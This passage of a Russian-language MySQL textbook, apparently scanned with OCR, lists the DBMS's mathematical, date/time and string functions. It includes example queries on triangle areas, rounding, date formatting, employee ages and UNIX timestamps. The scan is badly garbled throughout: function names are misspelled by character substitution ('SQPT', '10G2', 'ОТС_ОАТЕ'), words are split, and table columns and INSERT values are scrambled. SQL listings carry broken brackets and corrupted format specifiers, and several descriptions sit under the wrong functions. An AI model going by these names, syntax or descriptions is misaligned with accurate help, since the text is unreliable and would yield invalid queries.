158 Часть 1. Общие вопросы Та блица 2. 12 (продолжен ие) Функция Описа ние AS IN (X) Возвращает арксинус числа Х или NULL, если значе- ние Х выходит из диапазона от -1 до 1 ATAN (X) Возвращает арктангенс числа Х ATAN (X, У) , Возвращает арктангенс частного Х/У , функции анало- ATAN 2 (Х, У) гичны ATAN (Х/ У) CE ILING (Х) , Функция принимает дробное число Х и возвращает CE IL (Х) наименьшее целое, не меньше чем Х COALE SCE (val, ... ) Возвращает первый эл емент из списка, который не равен NULL COS (X) Возвращает косинус угла Х, заданного в радианах СОТ (Х) Возвращает котангенс угла Х, заданного в радианах СRСЗ2 (str) Возвращает значение кода циклической проверки избыточ ности стр оки str- 32 -битное значение в диапазоне от О до 2 32 - 1 . Если в качестве аргумента функции передано значение NULL, функция возвра- щаеТ NULL DEGREES (X) Возвращает значение угла Х, преобразованное из радиан в градусы GREATEST (val, .. .) Возвращает максимальное значение из списка ЕХР (Х) Возвращает значение степени числа Х: ех , гдее- основание нату рального логарифма FLOOR (X) Принимает дробное число Х и возвращает макси- мальное целое значение, не больше чем Х INTERVAL (N, Nl ,N2, ВозвращаетО,еслиN < Nl,и1,еслиN < N2,Ит.д., .. .) то есть возвращается позиция, где происходит нару- шение моното нного убывания значений списка . Все аргументы трактуются как цел ые числа LEAST (val, ...) Возвращает минимальное значение из списка LOG(X) ,LN(X) Возвращает натуральный логарифм (с основанием е) числа Х LOG (B, Х) Возвращает логарифм числа Х по основанию в
глава 2. Работа с СУБД My SQL 159 Та блица 2. 12 (окончание) Фун кция О писа ние 10G2 (X) Возвращает логарифм числа Х по основанию 2 10GI0 (X) Возвращает логарифм числ а Х по основанию 10 МОО(М, N), Возвращает остаток от деления м на N м%N, МMODN PI () Возвращает значение числа 1t POWER (X, У) , Возвращает значение числа Х, возведенного в сте- POW (X, У) пеньУ,- Х У RAD IANS (X) Возвращает значение угла Х, преобразованное из градусов в радианы RAND () Возвращает случайное значение с плавающей точ- кой в диапазоне от 0,0 до 1,0. Каждый раз генериру- ется одна и так же последовательность случайных чисел RAN D (N) Возвращае-т случайное значение с плавающей точ- кой в диапазоне от 0,0 до 1,0. Ге нератор случайных чисел инициируется числ ом N ROUN D (Х) Возвращает округленное до ближайшего целого зна- чение числа Х ROUN D (X, D) Возвращает значение числ а Х, округленное до D зна- ков после запятой SIGN (X) Позволяет определить знак числа Х и возвращает - 1 , О или 1, если Х отрицательно, равно О или поло- жител ьно, соответственно SIN (X) Возвращает синус угла Х, заданного в радианах SQPT (X) Возвращает квадратный корень числа Х TAN (Х) Возвращает тангенс угла Х, заданного в радианах TRUNCATE (X, D) Возвращает число Х с дробной частью, имеющей D знаков после запятой. Если кол ичество знаков после запятой в числ е Х больше D, лишние разряды усекают- ся , если меньше, то в конец числа добавляются нули
160 Часть 1. Общие вопросы 2.23.1 .1 . Вычисление площади треугол ьников Пусть имеется таблица triangle, которая состоит из трех полей, содержащих величины угла ( angle) И длины двух прилежащих сторон а и Ь (рис. 2.4). В листинге 2.79 приведен дамп таблицы triang le. А -- в- - - - Рис. 2 .4. Вычислени е площади треугол ьника Листинг 2.79 . Дамп таблицы triangle CREAТE TAВLE triangle ( angle DOUВLE NOT NUL L , I АDOUВLENOTNUL L , В DOUВLE NOT NULL ); INSERT INТO triangle VALUES SELECT * FROM triangle ; +-------+ -- ---- -+ -- -----+ IangleIА Iв + -------+ - --- ---+ ----- --+ 45 1.414 1 60 2.707 2.104 56 2.088 2.112 23 5. 014 2.304 38 3.482 4.708 +-------+ --- -- --+ - ---- --+ (45 , 1.414 , (60, 2.707, (56 , 2.088 , (23, 5.014 , (38 , 3.482 , 1), 2.104) , 2.112 ) , 2.304) , 4.708) ;
глава 2. Работа с СУБД My SQL 161 - ВЫЧИСЛИМ площади треугол ьников, параметры которых содержатся в табли­ це t riang le (листинг 2.79), по формуле: S=ахЬхsiп(аnglе). S QL-запрос, вычисляющий площади треугол ьников по приведенной выше формуле, может выглядеть так, как это представлено в листи нге 2.80. листинг 2.80 . Вычисление площадей тр еугольников SELECT A*B *SIN (RADIANS (angle » /2 .0 AS S FROM triangle ; + -- - --------------+ IS +-----------------+ 0.49992 44942989 2.46 6235967982 8 1.827 9681567786 2. 2569130117385 5.04634 80871756 +--- --------------+ Как видно из листинга, прежде чем воспользоваться функцией синуса SIN (�, необходимо конвертировать угол из градусов в радианы при помощи функ­ ЦИИRADIANS(). 2.23.1.2. Округление резул ьтато в вычисления Как видно из листинга 2.80, результат вычисления имеет 13 знаков после за­ пятой, что может быть не очень удобным для восприятия . В листи нге 2.8 1 результат вычислений округляется до третьего знака после запято й при по­ мощи функции ROr:JN D ( ) • Л и стинг 2.81. Округле ние резул ьтата вычисления до третьего знака после запятой SELECT ROUND (A*B*SIN (RADIANS (angle» /2 .0, 3) AS S FROM triangle ; +-------+ IS +-------+ I 0.500 I
162 Часть 1. Общие вопрос!,/ 2.466 1.828 2.257 5.046 +------ - + Функция ROUN D () осуществляет математическое округление до ближай ш е го целого числа. Функция ROUN D () - не единственная функция управления дробными числ а­ ми. Функция CEILING (Х) принимает дробное число Х и возвращает мини­ мальное целое, не меньше чем Х. Функция CEILING () не производит округления, как может показаться на п ер ­ вый взгляд. Она возвращает первое целое число, которое встречает справа от значе ния аргумента (рис. 2.5). -1 .51 - 0.49 0.4 9 1.51 QQаQjo -2 -1 О 1 2 Рис. 2 .5 . Принцип действия функции CE ILING ( ) в листинге 2.82 демонстрируется пример использования функции CEILING ( ) . Листинг 2.82. Использование ФУНКЦИИ CE ILING () SELECT CEILING(O.49) , CEILING(1.51) , CEIL (-O .49) , CEIL (-1 .51) ; + ---------------+ ------ -------- -+ -------------+ -- ---- ---- ---+ I CEILING (0.49) I CEILING (1.51) I CEIL( -0.49) I CEIL( -1.51) I + ---------------+ ------ ---- -----+------- ------+ ---- - - - - - ----+ 1I 2I оI -1I + ---------------+ ----- ----------+ ------- ------+ --- ---- ---- - -+ Функция FLOOR (Х) принимает дробное число Х и возвращает максимальное целое значение, не больше чем Х. Эта функция сходна по действию с функ­ цией CEILING (Х) , но сдвиг происходит в обратную сторону. Пример исполь­ зования функции FLOOR () представлен в листи нге 2.83.
1БЗ гл а ва2.РаботасСУБДMySQL -- � �------------����---------------------------------------- - листи нг 2.83. Использова ние функции FLOOR () SELECT FLO O R(O.49) , FLO O R(1.51) , FLOOR (-O .49) , FLO O R(-1.51) ; +-- - ----------+-------------+--------------+---------- - ---+ I FLOOR (0. 49) I FLOOR(1.51) I FLOOR(- 0 .49) I FLOOR (-1 .51) I +--- --------- -+-------------+--------------+------- ----- --+ оI 1I -1I - 2I +--- - ---------+-------------+------ --------+- - ------------+ Последней функцией, управляющей дробными числами, является функция TRUN CATE (Х, О ) , которая возвращает число х с дробной частью, имеющей о з н ак ов после запятой. Если количество знаков после запятой в числе х боль­ ше О, лишние разряды усекаются, есл и меньше, то в ко нец числа добавляют­ ся нул и (листинг 2.84). Листинг 2.84. Использование фун кции TRUNCATE () SELECT ТRUNCAТE(1.284 ,O) , ТRUNCAТE(1.284 ,1) , ТRUNCAТE(1.284 ,4) ; +-------------------+- - ------------ -----+- - ---------- - - - - ---+ I TRUNCATE (1.284 ,0) I TRUNCATE (1.28 4, 1) I TRUNCATE (1.28 4,4) I +- ------------------+- - - - - - -- ------ ---- -+---- ---- ----- - -- - - -+ 1I 1.2 I 1.2840 I +-------------------+-------------------+-------------------+ 2.23.2. Функции даты и времени Группа функций даты и времени предназначена для форматирования и пре­ образования календарных значений. В табл . 2. 13 представлен список кален­ дар ных функций, доступных в СУБД MySQL. ЗАМЕЧА НИЕ Сложение и выч итание временных интервалов более подробно обсуждает­ ся в разделе 2.9. Та блица 2. 13. Функции д аты и времени MySQL Фун кция Описа ние А ООDАТЕ (da te, Возвращает время da te, К которому при- INTERVAL expr type) , бавлен временной инте рвал , опреде- DATE_ADD (date, ляемый вторым параметром INTERVAL expr type )
164 Функция ADDT IME (ехр У1 , ехрУ2 ) CONVERT_T Z (dt, from_tz, to_tz) CURDATE (), CURRENT DАТ Е , CURRENT=)АТЕ ( ) CURT IME (), CURRENT TIME , CURRENT:=T IME () DАТ Е (date time) DATEDIFF (begin, end) DATE_FORМAT (date, fo rma t) DAY (date) , DAYO FMON TH (date) DAYNAМE (date) DAYOFWEEK (date) Часть 1. Общие в опр осы Та блица 2. 1 3 (продолжение) О писа ние Возвращает резул ьтат сложения двух календарных значений ехру1 И ехрУ2 Переводит DАТЕ ТIМЕ-значение dt из ча- сового пояса from_ tz В to_tz. Если ар- гу менты ошибочны, возвращается значе- ние NULL Возвращает текущую дату в формате 'УУУУ -ММ - 00 ' или УУУУDDММ В зависи- мости от того , вызывается функция в тексто вом или числ овом конте ксте Возвращает текущее время суток в виде 'hh-mrn-ss ' или hhmrns s В зависимости от того , вызывается функция в тексто вом или числ овом конте ксте Извлекает из значения даты и времени суток в формате DAТET IME (например '2005-04-17 00 :2б:08')дату, отсекая часы , минуты и секунды - '20 05-04-17 ' Вычисляет разницу в днях между датами begin И end. Аргументы функции могут иметь тип DАТ Е или DATETIME, однако при вычислении разницы используется тол ько DАТ Е-часть Форматирует время da te В соответствии со строкой forma t Принимает в качестве аргумента дату da te И возвращает порядковый номер дня в месяце (от 1 до 31) Принимает в качестве аргумента дату da te И возвращает день недел и в виде полного английского названия Принимает в качестве аргумента дату da te И возвращает порядковый номер дня недели. Следует помнить , что в за- падных странах неделя начинается с воскресенья , для кото рого функция воз- вращает 1, дл я последнего дня недел и, субботы , возвращается 7
гл ава 2. Работа с СУБД MySQL :- -- ,- - ФУН КЦИЯ r- DAYOFYEAR ( da te) f-" ЕХТМСТ ( type FROM da te time) с- -- FROM_DAYS (N) FROM UN1XT 1 ME (unix times tamp) , FROM=UN 1XT 1ME (unix= timestamp, form at) GET FORМAT (date I иmе I datetime, 'EUR' I 'USA' I 'J1S' I '1SO' I ' 1NTERNAL ' ) HOUR (da tetime ) LAST ОАУ (da tetime) - МАКЕ ОАТЕ (year, dayofyear) МAKET1ME (hour, minute, second) M1CROSECOND (date time ) 165 Та блuца 2. 13 (продолжение) О писа ние Принимает в качестве аргумента дату da te и возвращает порядковый номер днявгоду(от1до366) Принимает дату и время суток da tetime и возвращает часть , определяемую па- раметром type Принимает количество дней N, прошед- ших с нулевого года , и возвращает дату в формате ' УУУУ -ММ-ОО ' Принимает количество секунд, прошед- ших с полуночи 1 января 1970 года, и возвращает дату и время суток в виде стр оки ' УУУУ-ММ-ОО hh :rnrn: ss ' или в виде числ а YYYYMMDDhhrnrns s в зависимо- сти от то го , вызвана функция в строко- вом или числовом контексте Возвращает строку форматирования, соответствующую од ному из пяти ста н- дартов времени Возвращает значение часа (от О до 23) для времени da te time Принимает в качестве параметра значе- ние даты da tetime в кратко м ' УУУУ-ММ- ОО ' или расширенном формате 'УУУУ- ММ- ОО hh : rnrn: s s' И возвращает дату в кратком формате 'УУУУ -мм- ОО ' , день в кото рой выставлен на последний день текущего месяца Принимает в качестве параметров год yea r , номер дня в году dayofyear и воз- вращает дату в формате ' УУУУ -ММ-ОО ' Принимает три параметра : часы hour, минуты min ute и секунды second. В ка- честве резул ьтата функция возвращает время суток в формате 'hh:rnrn: s s ' Извлекает из временного значения da tetime микросекунды
166 Функц ия MINUTE (date time) MONTH (date time) MONTHNAМE (date time ) NOW() , CURRENT_TIME , CURRENT_TIME ( ) , CURRENT_T IMESTAМP, CURRENT_T IMESTAМP (), LOCALT IME (), LOCALT IME, LOCALT IMESTAМ P (), LOCALT IMESTAМ P, SYSDATE () PERIOD_ADD (period, Ы) PERIOD_DIFF (periodl , peri od2 ) QUARTER (date time) SECOND ( time) Часть 1. Общие вопрось/ -- - Та блица 2. 13 (продолжение) Описани е Возвращает значение минут (от О до 5 9) для времени суток da tetime Возвращает числ овое значение месяца года (от 1 до 12) для даты da tetime Возвращает строку с названием месяца дл я даты da tetime Возвращает текущие дату и время в виде строки В формате 'УУУУ -ММ- ОО hh:rnm:ss'иливвидечисла YYYYMM DDhhrnms s, в зависимости от того, вызывается функция в ст роко вом или числовом конте ксте Добавляет N месяцев к значению даты peri od. Аргумент period долже н быть предста влен в числовом формате УУУУММ или УУММ. Передача в качестве аргумента даты в любом другом форма- те приводит к непредсказуемому резул ьтату Вычисляет разницу в меся цах между двумя дата ми periodl и peri od2, кото- рые предста влены в числ овом формате УУУУММ или УУММ Возвращает значение квартала года (от 1 до 4) для даты da ta time которая передается в формате ' УУУУ-ММ - ОО ' или 'УУУУ-ММ-ОО hh :rnm: ss ' Возвращает кол ичество секунд для вре- мени суток time, кото рое задается либо в виде строки 'hh:rnm: s s ' , либо числа hhrnms s
гл ава 2. Работа с СУБД MySQL -- - функц ия � SEC_T O_T IME ( seconds ) STR_T O_DATE (str, fo rma t) SUBDATE (date , INTERVAL expr in terval) , DATE SUB (date, I NTERVAL expr in terval) SUBT IME(datetime, иmе ) TIME (da te time ) TIMEDIFF ( expr l, expr2 ) TIME STAМP (exp r) TIMESTAМPADD (in terval, int_exp r, da tetime_ expr) T IMESTAМPDIFF (in terval, da tetime exprl , da tetime= expr2 ) 167 Та блица 2. 13 (продолжение) О писа ние Принимает кол ичество се кунд seconds, прошедших от начала суто к, и возвраща- ет время в формате 'hh:mrn: s s' или hhmrnss, в зависимости от то го , вызыва- ется функция в строковом или числ овом контексте Принимает дату и время суток в виде строки s tr, соответствующей формату fo rma t, И возвращает время в формате MySQL 'YYYY-MM- DD hh :mrn: ss ' Возвращает дату da te, из кото рой вычи- тается временной интервал , определяе- мый вторым параметром Вычитает из временной величины da tetime время суток time и возвраща- ет резул ьтат Извлекает время суто к 'hh:mrn: s s ' из даты и времени da tetime Возвращает разницу между временными значениями, заданными параметрами expr 1 и expr2 Принимает в качестве аргумента дату и время суток в полном или кратко м фор- матах и возвращает полный вариант в формате 'YYYY-MM- DD hh :mrn: ss ' Прибавляет к дате и времени суток da te time expr в полном или кратком формате временной инте рвал int_ ехрг, еди ницы измерения которого задаются параметром interva l Возвращает разницу между двумя дата- ми da tetime_exp rl или da tetime_expr2, заданных в кратком ' УУУУ-ММ-DD ' или полном ' УУУУ-ММ-DD hh : mrn: s s' форматах. Единицы измере- ния, в которых функция возвращает ре- зул ьтат, задаются параметром in terval
� 1 � 6 � 8 � ____________________________________________ Ч � а � с � m � ь � / � . _ О � б _ щ � u � е � в о_ п � р � о�� Фун кция TIME_FORМAT (time , forma t) TO_DAY S (d<Jte) UN IX_T IMESTAМP (), UN IX_TIME S TAМ P (date time ) Та блuца 2. 13 (продолжение) Описание Формати рует время time, кото рое зада­ ется в виде 'hh:rnrn: 88 ' согласно строке формати рования fom a t Принимает в качестве аргумента время суток time в формате ' hh :rnrn: 88 ' И воз­ вращает кол ичество секунд, прошедших с начала суток Принимает дату da te в полном 'УУУУ­ ММ- ОО hh : rnrn: 88 ' или кратком 'УУУУ­ ММ - ОО ' формате и возвращает кол ичест­ во дней, прошедших с нулевого года Вариант без параметра da tetime воз­ вращает кол ичество секунд, прошедших с полуночи 1 января 1970 года. Кроме этого , функция может принимать необя­ зател ьный параметр da tetime, опреде­ ляющий дату в кратком 'УУУУ -ММ - ОО ' илиполном 'УУУУ-мм-ОО hh:rnrn:88' форматах, возвращая в это м случае раз­ ницу в секундах между 1 января 1970 года и указанной в da te time дато й Возвращает текущую дату в виде строки 'уууу-мм -оо ' или числа ууууммоо в за­ висимости от того , в каком контексте вы­ зывается функция. В отличие огфункций NOW () или CURDATE ( ) , возвращающих локал ьную дату, в ОТС_ОАТЕ () время исчисляется по Гринвичу Возвращает текущее время суток в виде строки 'hh:rnrn: 88 ' или числа hhrnrn8 8 В зависимости от то го , в каком контексте вызывается функция. В отличие от функ­ ций NOW () или CURT IME (), возвращаю­ щих локал ьную дату , в ОТС_ОАТ Е () вре­ мя исчисляется по Гринвичу
гл ава 2, Работа с СУБД MySQL -- r- - ФУНКЦИЯ r- UTC_T IMESTAМP () WEEK ( da te) WEEKDAY (da te) WEEKOFYEAR (datetime) YEAR (date time ) YEARWE EK (date) 169 Та блица 2. 13 (око нчание) О писа ние Возвращает дату и время суток в виде строки ' уууу-мм-оо hh :пun: 55 ' или В виде числа УУУУММDDhhпun5 5 в зависимости от того, в каком контексте вызывается функ- ция , В отличие от функции NOW ( ) , возвра- щающей локальную дату, в ИТС_ОАТЕ ( ) время исчисляется по Гринвичу Возвращает номер недели (от О до 53) в году для даты da te Принимает дату da te в полном 'УУУУ- мм-оо hh :пun:55 ' или кратком ' УУУУ- ММ-ОО ' форматах и возвращает номер дня недели (О для понедельника, 1 дл я вторника, .." 6 для воскресенья) Возвращает порядковый номер недели в году (от 1 до 53) для даты da tetime Возвращает год (от 1000 до 9999) для даты da tetime Возвращает число в формате YYYYWW , представляющее год и номер недел и (от О до 53) в году, соответствующие да- те da te, Предполагается , что неделя начинается с воскресенья (как это приня- то на Западе) 2 .23 .2.1 . Формати рование календар ных значений ФУНКЦИЯ DATE_FORМAT (date, fo rma t) форматирует время da te в соответст­ в и и со строкой fo rma t. В строке forma t могут использоваться определ ител и, представленные в табл. 2 . 14. Табл ица 2. 14 . Определители строки форматирования функции DA TE_ FORМAT {} Определ ител ь Описа ние %а Сокращенное наименование дня недели (SUП, ... , Sat) %Ь Сокращенное наименование месяца (Jап, .. " Dес) .
170 Часть 1. Общие вОПРОСе' - Та блица 2. 14 (продолжение) Определитель Оп исание %с Месяц в числовой форме (1 , ..., 12) %D День месяца с английским суффиксом (1 5t, 2nd, 3rd и т. д.) %d День месяца в числовой форме с ведущим нулем (01 , ..., 3 1) %е День месяца в числовой форме (1 , ..., 31) %f Микросекунды (000000, ..., 999999) %Н Час с ведущим нулем (00, ..., 23) %h Час с ведущим нулем (01, ..., 12) %1 Час с ведущим нулем (01 , ..., 12) %i Минуты с ведущим нулем (00, ...,59) %j День года (001 , ..., 366) %k Час с ведущим нулем (О, ... , 23) %1 Час без ведущего нуля (1 , ..., 12) %М Название месяца (January, ..., DесеmЬег) %т Меl:;ЯЦ в числовой форме с ведущим нулем (01, ..., 12) %р АМ или РМ (дл я 12- часового формата) %r Время, 12-часовой формат (hh : mm: s s АМИЛИ hh :mm: ss РМ) %3 Секунды (00, ..., 59) %s Секунды (00, ..., 59) %Т Время , 24-часовой формат (hh :mm: ss) %О Неделя (00, . .. , 52), где воскресенье счита ется первым днем недел и %и Неделя (00, .. . , 52), где понедельник сч итается первым днем недели %V Неделя (01 , .. . , 53), где воскресенье сч итается первым днем недел и. Используется с %Х %v Неделя (01 , ... , 53), где понедельник сч итается первым днем недел и. Используется с %х
глава 2. Работа с СУБД MySQL - 171 Та блица 2. 14 (оконча ние) ,.- определ итель О писа ние г- %W Название дня недел и (Sunday, ... , Satuгday) г- %w День недел и (О, . .., 6), где О - воскресенье, ... , 6 - суббота г- %Х Год В который началась неделя, где воскресенье считается первым днем недели, 4 разряда, используется с %V %х Год В который началась неделя, где воскресенье считается первым днем недел и, число, 4 разряда , используется с %v %у Год , 4 разряда (уууу) %у Год , 2 разряда (уу) %% Лите рал % Все другие символы, которые не указаны в табл . 2. 14, выводятся без изменений. Рассмотри м наиболее часто встречающуюся задачу преобразования кален­ дарного значения из MySQL-формата '2007-01 -12 11 : 55 : 17 ' в привычный фор мат '12.01.2007 11 : 55 '. Осуществить такое преобразование можно при пом ощи запроса, представленного в листинге 2.85 . Листинг 2.85. Прэобрззование даты при помощи фу нкции DATE_FORJY1AT () SELECT DAТE_FORМAT (putdatetime , '%d,%m. %Y %H :%i') AS putdatetime FROM tbl ; +------------------+ I putdatetime + ------------------+ I 12.01.2007 11:55 I + - --------------- --+ 2.23.2.2. Вычисление возр аста человека П усть имеется табл ица tbl, с одержащая сведения о сотрудниках и состоя щая из трех стол бцов: О id - первичный кл юч табл ицы; О fio - фамилия, имя, отчество сотрудника; О putdate - дата рождения .
172 Часть 1. Общие вопрось/ - в листи нге 2.86 представлен запрос CREATE TABLE, создающий табл ицу tb l . Листинг 2.86. Создание табл ицы tbl CREAТETAВLEtbl( ); id INТ(l1) NOT NШL, fio TINYТEXТ NOT NШL, putdate DAТE NOT NUL L INSERT INТO tbl VALUES (1, 'Тимирязев В.К . " '19 72-12-02 ') ; INSERT INТO tbl VALUES (2, 'малышев Ю.Г. " '1976-06 -24 ') ; INSERT INТO tbl VALUES (3 , 'Абрамов К.Т . " '19 68-10-24 ') ; INSERT INТO tbl VALUES (4 , 'Гaнюwкин В.В. ', '1986-12 -07 ') ; Необходимо вычислить возраст сотрудника на текущую дату. Один из вари­ антов состоит в преобразован ии даты рождения и текущей даты в дни при помощи функции ТО_DAY S () И делению на число 365 .25 (л исти нг 2.87): в году 365 дней; дробное число 0,25 призвано ко мпенсировать високосные года, ко­ то рые случ аются раз в четыре года. Листи нг 2.87. Вычисление возраста сотрудников SELECT fio , (TO_DAYS (NOW(» - TO_DAYS (putdate» /365 .25 AS putdate FROM tbl; +----------------+- - - - - - -- -+ I fio I putdate I +----------------+- - - -г - - - -+ Тимирязев В.К. Мальn n ев Ю.Г. Абрамов К. Т. Ганюшкин В.В . 34 . 1109 30 . 5517 38 . 2177 20 . 0986 +----------------+- - - - - - - - -+ Для того чтобы избавиться от дробной части, можно воспользоваться фун к­ цией FLOOR () (листинг 2.88). Листинг 2.88 . Отбрасывание дроб ной части SELECT fio , FLOOR « TO-PAYS (NOW(» - TO_DAYS (putdate» /365 .25) AS putdate FROM tbl;
глава 2. Работа с СУБД MySQL - +--- -- - ----------+---------+ I fio I putdate I +--- - - -----------+---------+ тимирязев В.К. 34 МаЛЬШIев Ю.Г . Абрамов К.Т . ГаНЮШКИН В.В . 30 38 20 +- --- - -----------+---------+ 2.23.2 .3. Прео6разование даты в UNIХS ТА МР-формат 173 Пожалуй, сам ым распространенным является формат хранения времени UNIXSTAMP . Его популярность обусловлена удобством операций сложе­ н и я и вычитания временных инте рвалов. UNIXSTАМР-формат - это кол и­ ч еств о секунд, прошедших с полуночи 1 января ] 970 года. Для преобразо­ вания MySQL-даты в UNIXSTАМР-формат используется функция UN IX_T IME STAМP ([date time ] ). Функция может принимать необязател ьный п араметр da tetime, определяющий дату в кр атко м 'YYYY-MM - DD ' ил и пол­ нам ' YYYY-MM -DD hh :mm: 55 ' форматах, возвращая в этом случае разницу в секундах между 1 января 1970 года и указанной в da tetime датой (л ис­ ти н г 2.89). Листинг 2.89. Использование функции UNIX_TIМESTAМP () SELECT UNIX_TIМESTAМP() ,UNIX_TIМESTAМP('1997-10-04 22 :23:00') ; +--- ---------------+ ---- --- - --- -- - ----------- --------- ---- -+ I UNIX_TlМESTAМP () I UN IX_T lMESTAMP ('1997-10 -04 22 :23:00') I +--- ---------------+- -- -- -- ------ --- --- ------- - --- --- - - - -- -+ 1113999060 I 87598 9 380 I +- -----------------+- - -- ------ ---- - -------- -------- ---- ----+ Функция FROM_UN IXT IME (unix_ti mes tamp) решает обратную задачу : прини­ м ает числ о секунд, прошедших с полуночи ] января ] 970 года, и возвращает дату и время суток в виде строки 'YYYY-MM-DD hh :mm: S5 ' или В виде числа YYYYMM DDhhmm5 5 в зависимости от того, вызвана функция в строковом или чи словом контексте (л истинг 2.90).
174 Часть 1. Общие вОПР ОСе/ Листинг 2.90. Использование функции FROM_UNIXTIМE {} SELECT FROM_UNIXТIМE (ll13837 695) , FROM_UNIXТIМE (O) ; +---------------------------+---------------------+ I FRОМ_UN IХТlМЕ (ll13837 б95) I FROM_UN IXT lМE (O) +----- --------- --- --- --- ----+- - ---- - - - ---------- - - + I 2005-04-18 19 :21:35 I 1970-01-01 03 :00:00 I +------- --------- ------ -- - - - +--- ---- --- ---- --- -- - -+ Как видно из листинга 2.90, передач а функции значения О в качестве аргу­ мента приводит к выводу вместо полуночи 3 часов ночи. Это связано с те м , что время на машине, где расположен сервер MySQL, настроено дл я третье й временной зоны. Функция FROM_UN IXT IME (unix_ times tamp , forma t) может принимать вто рой параметр forma t, который представляет собой строку, содержащую опреде­ лител и из табл . 2.6. Использование определ ителей позволяет отформатиро­ вать строку, например, так, как это представл ено в листи нге 2.91. Листинг 2.91. Форматирование резул ьтата в функции FROM_UNIX () SELECT FROМ_UNIXТIМE (1286481600 , 'Б %У ГОдУ контракт заканчивается ') ; +-- - - ---- ---- ------------ ---------- - -- - --- - - --- --- - - - -- --------+ I FRОМ_UN IХТlМЕ (128б481бОО, 'В %У году контракт заканчивается ') I +--------------- ----- -�---- - - -------- -- ---- -- ----- ------- - ----- + I В 2010 году контракт заканчив ается +-------- -- -- -- - - ---------- ---- --- --- -- ------ - -- - - -- ------ -- --- + I 2.23 .3 . Строковы е фун кции Строковые функции позволяют осуществлять преобразован ие строк и стр о­ ковых стол бцов. В табл . 2. 15 представлен список строковых функций, до с­ ту пных в СУБД MySQL. При использовании строковых функций следует помнить, что позиция в строке начинается с 1, а не с О, как, например, в С-подобных язы ках про­ граммирования . ЗАМЕЧАНИЕ Если строковой функции передается в качестве одного из аргументо в зна­ чение NULL, она также возвращает NULL.
глава 2. Работа с СУБД MySQL -- - функция - A S CII (str) BIN(N) - ВIT LENGTH (str) - CНAR (Nl , Ы2, ...) CHAR_LENGTH (str) , CHARACTER_LENGTH (str) C НAR SET (str) COLLAT ION (str) COMPRESS ( string_to_comp ress) CONCAT ( str1, str2, . ..) CONCAT_WS ( sepa ra tor, strl , str2 , . ..) CONV (N, from_ba se, tO_base) CONVERT (ехр у, type) , C ONVERT (ехру US ING cha rset ) 175 Та блица 2. 15. СтРОКО8ые функции My SQL Описание Возвращает значение ASCII-коАа первого симво- ла строки s tr Принимает десятичное число N и возвращает его двоичное представление Принимает строку s tr И возвращает ее дл ину в битах Принимает последовател ьность из ASC II-KOAOB и возвращает стр оку, созда нную путем объедине- ния соответствующих им символов Возвращает количество символов в строке s tr. В отл ичие от функции LENGTH () ведет подсчет не байтов, а символ ов, поэто му ко рректно рабо- тает с многобайтовыми кодировками Возвращает имя кодировки, в кото рой предста в- лена ст рока , передаваемая функции в качестве аргумента Возвращает порядок сортировки, установленный для кодировки аргумента str Сжимает стр оку s tr ing_ to_ compress при помо- щи библиотеки zlib Возвращает строку, созданную путе м объедине- ния всех аргументов, кол ичество которых не ог- раничено Объединяет аргументы stгl , str2 И Т. д. , поме- щая между ними раздел ител ь sepa ra tor Преобразует числ о N из одной системы сч исле- НИЯ from_b ase в другую t'O_b ase. Параметры from_ba se и to_base могут принимать значения от2до36 Преобразует выражения е хру В ти п type. Вторая форма функции CONVERT () (с использованием US ING) предназначена дл я преобразования тек- ста из од ной кодировки в другую
176 Часть 1. Общие вопрось/ - Та блица 2.15 (продолжение) Функция Описание ELT (N, strl , str2, Возвращает N- Ю строку из списка аргументов strЗ,...) strl , str2, strЗ И т. д.: дЛЯ N= 1 возвращается strl, дЛЯ N=2 - str2 И т. д. Если строка с но- мером N отсутствует или равна NULL, возвраща- ется NULL EXPORT_SET (bi ts, оп , Возвращает числ о bi ts в двоичном предста вл е- off[ , separa tor[ , пиm- нии, 1 в кото ром заменяется на параметр оп, ber_Of_bits] ] ) а О - на параметр off. Необязател ьный пара- метр sepa ra tor задает раздел ител ь, которым по умолчанию является запятая. Параметр numb er_of_bits позволяет ограничить кол иче- ство возвращаемых функцией символов (по умолчанию равно 64). Если данный параметр н е задан, будут выведены все 64 символа, а недос- та ющие символы будут установлены в О ( off) FIELD (st r, strl , str2 , Находит строку str В списке строк strl , str2, ' " ...) и возвращает номер строки в это м списке (нуме- рация начинается с 1) FIND_IN _SET (str, Ищет вхождение строки str В список str_l ist И str_list) возвращает номер строки в это м списке (нумера- ция начинается с 1). Если вхождение не найдено , возвращается О . Параметр str_list предста в- ляет собой набор строк, разделенных запятыми FORМAT (Х, D) Преобразует число Х в строку с D знаками после запятой. Каждые три разряда разделяются запятой НЕ Х (N_or_S) Возвращает значение аргумента N_ or_S В виде шестн адцатеричного числ а. Аргумент N_ or_ 5 может быть как числ ом, та к и строкой. В первом сл учае возвращается обычное шестнадцатерич- ное числ о. Когда в качестве аргумента выступает строка , то функция переводит в шестнадцате- ричное представление каждый символ стр оки и объединяет результат INSERT (str, po s, len, Возвращает строку str, В которой подстрока, на- new_str) чинающаяся с позиции pos И имеющая дл ину len символов, заменена подстрокой new_str. Функция возвращает строку str без изменений, если зна- чение pos находится за пределами строки
глава 2. Работа с СУБД MySQL ;- -- .- - ФУН КЦИЯ !- - INSTR (str, substr) LE FT (str, len) LENGTH (str) , OCTET_LENGTH ( str) L OAD_FILE(file_ name ) LOCATE (subs tr, str [, pos]), POS ITION (subs tr IN str) LOWER (str) , LCASE () LPAD (str, len, pa ds tr) LTR IM (str) МAКE_SET ( Ы, bi tO_str, bi tl_ str, . ..) 177 Та блица 2. 15 (продолжение) Описан ие Возвращает позицию первого вхождения под- строки subs tr В строку str Возвращает len крайних левых символов стр оки str. Если аргумент len превышает число симво- лов в строке s tr, она возвращается без измене- ний. Если len равно NULL или меньше О, воз- вращается пустая строка Возвращает дл ину строки str. Данная функция может некорректно работать с многобайтными кодировками, так ка к фактически возвращает количество байтов в строке, а не символов Читает файл fi le_name И возвращает его содер- жи мое в виде строки. Файл должен быть располо- же н на сервере, а в параметре fi le_name необ- ходимо указы вать абсолютн ый путь к файлу. Если файл не существует или не может быть проч итан из-за того , что MySQL не обладает достаточными правами доступа, то возвращается NULL Возвращает позицию первого вхождения под- строки substr В строку str. Если ни одно вхож- дение не найдено, возвращается О. Если хотя бы один из аргументов функции равен NULL, функ- ция возвращает NULL. При наличии необязатель- ного аргумента pos поиск начинается с позиции, указанной в этом аргументе Возвращает ст року s tr, В кото рой все символы записаны стр очными СИМВОf1ами Возвращает строку str дополненную сл ева стро- кой pads tr до длины len Возвращает строку s tr, из кото рой удал ены все начальные пробелы Предста вляет число N в двоичной форме, созда- вая 